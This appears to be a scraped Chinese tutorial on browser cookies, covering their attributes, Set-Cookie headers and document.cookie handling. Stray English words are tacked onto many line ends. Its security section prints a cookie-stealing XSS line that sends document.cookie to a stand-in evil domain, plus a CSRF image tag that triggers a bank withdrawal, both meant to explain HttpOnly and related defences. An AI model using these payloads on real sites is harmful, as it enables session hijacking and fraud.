前端須知的 Cookie 知識小結

cookie 是什麼和使用場景

cookie 是服務器端保存在瀏覽器的一小段文本信息,瀏覽器每次向服務器端發出請求,都會附帶上這段信息(不是全部都帶上,具體的下文會介紹)javascript

使用場景:php

  • 對話管理:保存登陸、購物車等須要記錄的信息
  • 個性化:保存用戶的偏好,好比網頁的字體大小、背景色等等
  • 追蹤:記錄和分析用戶的行爲

以上用得較多的仍是第一種場景。html

咱們有時候用 cookie 做爲客戶端儲存,可行但不推薦。由於 cookie 自己大小有所限制,並且會影響性能。存儲仍是應該考慮localStoragesesseionStorage 或者 indexDB前端

cookie 的幾個重要屬性

在瞭解各個屬性以前,咱們先打開瀏覽器調試——Application——Cookies——選中一個域java

上面就會有這些 cookie 的名稱,值,DomainPathExpires/Max-ageSizeHTTPSecuregit

咱們接下來就是要講這裏面幾個重要的點segmentfault

Expires 和 Max-Age瀏覽器

這兩個屬性涉及到 cookie 的存活時間安全

Expires 屬性指定一個具體的到期時間,到了這個指定的時間以後,瀏覽器就再也不保留這個 cookie ,它的值是 UTC 格式,可使用 Date.prototype.toUTCString() 格式進行轉換bash

設置以下:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
複製代碼

Max-Age 屬性制定了從如今開始 cookie 存在的秒數,好比 60 * 60 * 24 * 365(即一年)。過了這個時間之後,瀏覽器就再也不保留這個 Cookie

Max-Age 的優先級會比 Expires 的高,主要的緣由 Max-Age 所受的外界因素(好比客戶端的時間可能有誤)比較小。

若是二者都不設置的,那麼這個 cookie 就是Session Cookie,也一旦關閉瀏覽器,瀏覽器就不會保留這個這個 cookie

Domain 和 path

這兩個屬性決定了,HTTP 請求的時候,哪些請求會帶上哪些 Cookie,具體下面會作講解。

Secure 和 HttpOnly

Secure 屬性指定瀏覽器只有在加密協議 HTTPS 下,才能將這個 Cookie 發送到服務器。另外一方面,若是當前協議是 HTTP,瀏覽器會自動忽略服務器發來的 Secure 屬性。該屬性只是一個開關,不須要指定值。若是通訊是 HTTPS 協議,該開關自動打開。

設置了 Secure 這個屬性,那麼就會在 Secure 這一欄打鉤

HttpOnly 屬性指定該 Cookie 沒法經過 JavaScript 腳本拿到,主要是Document.cookie 屬性、XMLHttpRequest 對象和Request API都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,纔會帶上該 Cookie

設置了 HttpOnly 這個屬性,那麼就會在 HTTP 這一欄打鉤

cookie 和 HTTP 協議

HTTP response——cookie 生成

若是服務器端但願在瀏覽器種 cookie,那麼它只須要在 HTTP 請求頭信息中,放置一個 Set-Cookie 的字段。舉個例子:

Set-Cookie:foo=bar

那麼就會在瀏覽器種保存一個名爲 foo,值爲 barcookie

除了值以外,還能夠設置其餘的屬性

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
複製代碼

固然,一個 Set-Cookie 字段是能夠同時包含多個屬性(並且沒有次序要求),以下所示:

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
複製代碼

注意一點就是,若是你想要使用 Set-Cookie 修改一個已經存在的 cookie 的值,那麼要注意,你必須匹配原有的全部的屬性值(若是存在的話),不然就會生成一個新的 cookie,而不是修改它的值

好比,原有的 cookie 爲:

Set-Cookie: key1=value1; domain=example.com; path=/blog
複製代碼

那麼你正確的修改方式應該是:

Set-Cookie: key1=value2; domain=example.com; path=/blog
複製代碼

若是你的修改方式以下的話:

Set-Cookie: key1=value2; domain=example.com; path=/
複製代碼

就會在瀏覽器端設置兩個同名的 cookie 以下:

Cookie: key1=value1; key1=value2
複製代碼

這不是咱們但願看到的!

HTTP request——cookie 發送

這裏涉及到一個問題,是否是每一個請求咱們都會帶上全部的 cookie,顯然不是的,要不性能就會十分低下了。那麼瀏覽器是根據什麼判別哪些請求會帶上哪些 cookie 呢?

這就跟 Domainpath 屬性息息相關了

好比,如今一個 cookie 它的 Domain 屬性爲 www.example.compath 屬性值爲 /。意味着,這個 cookie 對該域的根路徑以及它的全部子路徑都有效。若是咱們修改了它的 path 值,爲 /forums,那麼這個 cookie 只要在訪問 www.example.com/forums 及其子路徑時纔會帶上。

cookie 和安全

會話劫持和XSS

Web 應用中,cookie 經常使用來標記用戶或受權會話,若是這些信息(cookie)會被竊取,可能致使受權用戶的會話從而網頁收到攻擊,好比:

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
複製代碼

HttpOnly 類型的 cookie 就能夠組織 Js 對其的訪問從而緩解這種攻擊

跨站點請求僞造(CSRF)

好比某個網站的圖片以下:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
複製代碼

當你打開這個圖片的時候,若是你登陸以前的銀行帳號並且 cookie 仍然有效(尚未其餘驗證的步驟,有點極端),那麼你的帳戶就有可能有危險了。

cookie 自動刪除和手動刪除

在瞭解 cookie 自動刪除以前,咱們先來了解小 cookie 的一些限制條件:

  • 發送到服務器端的全部 cookie 的最大數量不能超出 4kb,全部超出該限制的 cookie 都會被截斷而且不會發送到服務器端。
  • IE7 之後限制每一個域名下 cookie 的數量不得超過 50 個,Opera 限定 cookie 的數量爲 30個,SafariChrome 就沒有這種限制。

其限制的緣由,主要在於阻止 cookie 的濫用,並且 cookie 會被髮送到服務器端,若是數量太大的話,會嚴重影響請求的性能。以上這兩個限制條件,就是 cookie 爲何會被瀏覽器自動刪除的緣由了。

自動刪除主要存在如下幾種可能:

  • 會話 cookie(session cookie)在會話結束的時候(瀏覽器關閉)會被刪除
  • 持久化 cookie(Persistent cookie)在到達失效日期的時候會被刪除
  • 瀏覽器的 cookie 達到上限,會自動清除,而後爲新建的 cookie 騰出空間

document.cookie

對於前端而言,咱們獲取 cookie 和設置 cookie 都是經過 document.cookie 的方式進行的。

讀取 cookie

獲取以下(固然是這個 cookie 沒有 HttpOnly 屬性)

能夠看到,document.cookie 是將全部的能夠讀的 cookie 一次性讀出來的,使用分號分割,因此必須手動的分割

var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar
複製代碼

寫入cookie

咱們能夠經過 document.cookie 爲當前的網站添加 cookie

document.cookie = 'fontSize=14';
複製代碼

寫入的時候,Cookie 的值必須寫成 key=value 的形式。注意,等號兩邊不能有空格。另外,寫入 Cookie 的時候,必須對分號、逗號和空格進行轉義(它們都不容許做爲 Cookie 的值),這能夠用 encodeURIComponent 方法達到。

可是,document.cookie一次只能寫入一個 Cookie,並且寫入並非覆蓋,而是添加。

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
複製代碼

寫入 Cookie 的時候,能夠一塊兒寫入 Cookie 的屬性。

例如:

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=*.example.com';
複製代碼

刪除 cookie

刪除一個現存 Cookie 的惟一方法,是設置它的 expires 屬性爲一個過去的日期。

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
複製代碼

參考

javascript.ruanyifeng.com/bom/cookie.…

developer.mozilla.org/zh-CN/docs/…

segmentfault.com/a/119000000…

javascript.ruanyifeng.com/bom/cookie.…

歡迎你們關注個人公衆號

相關文章
相關標籤/搜索